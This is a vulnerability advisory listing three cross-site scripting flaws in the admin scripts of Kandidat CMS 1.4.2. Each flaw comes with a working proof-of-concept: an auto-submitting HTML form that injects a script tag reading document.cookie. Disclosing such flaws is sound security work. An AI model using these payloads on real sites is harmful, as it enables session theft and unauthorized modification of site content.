Kandidat CMS 1.4.2 Cross Site Scripting

`================================  
Vulnerability ID: HTB22650  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_kandidat_cms_2.html  
Product: Kandidat CMS  
Vendor: Kan-Studio ( http://www.kan-studio.ru/ )   
Vulnerable Version: 1.4.2 and probably prior versions  
Vendor Notification: 19 October 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "/admin/news.php" script to properly sanitize user-supplied input in "header" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/news.php?edit=NEWS_ID" method="post" name="main">  
<input type="hidden" name="header" value='newsheader"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="message" value="message">  
<input type="hidden" name="extramessage" value="extramessage">  
<input type="hidden" name="newsdoing" value="Submit">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
================================  
Vulnerability ID: HTB22649  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_kandidat_cms_1.html  
Product: Kandidat CMS  
Vendor: Kan-Studio ( http://www.kan-studio.ru/ )   
Vulnerable Version: 1.4.2 and probably prior versions  
Vendor Notification: 19 October 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "/admin/edit.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/edit.php?what=PAGE_ID" method="post" name="main">  
<input type="hidden" name="title" value='About"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="article" value="page html">  
<input type="hidden" name="myinclude" value="">  
<input type="hidden" name="description" value="">  
<input type="hidden" name="keywords" value="">  
<input type="hidden" name="Submit" value="Submit">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
================================  
Vulnerability ID: HTB22648  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_kandidat_cms.html  
Product: Kandidat CMS  
Vendor: Kan-Studio ( http://www.kan-studio.ru/ )   
Vulnerable Version: 1.4.2 and probably prior versions  
Vendor Notification: 19 October 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "/admin/settings.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/settings.php?action=validate" method="post" name="main">  
<input type="hidden" name="title" value='Site Title"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="template" value="silver">  
<input type="hidden" name="Submit" value="Save changes">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`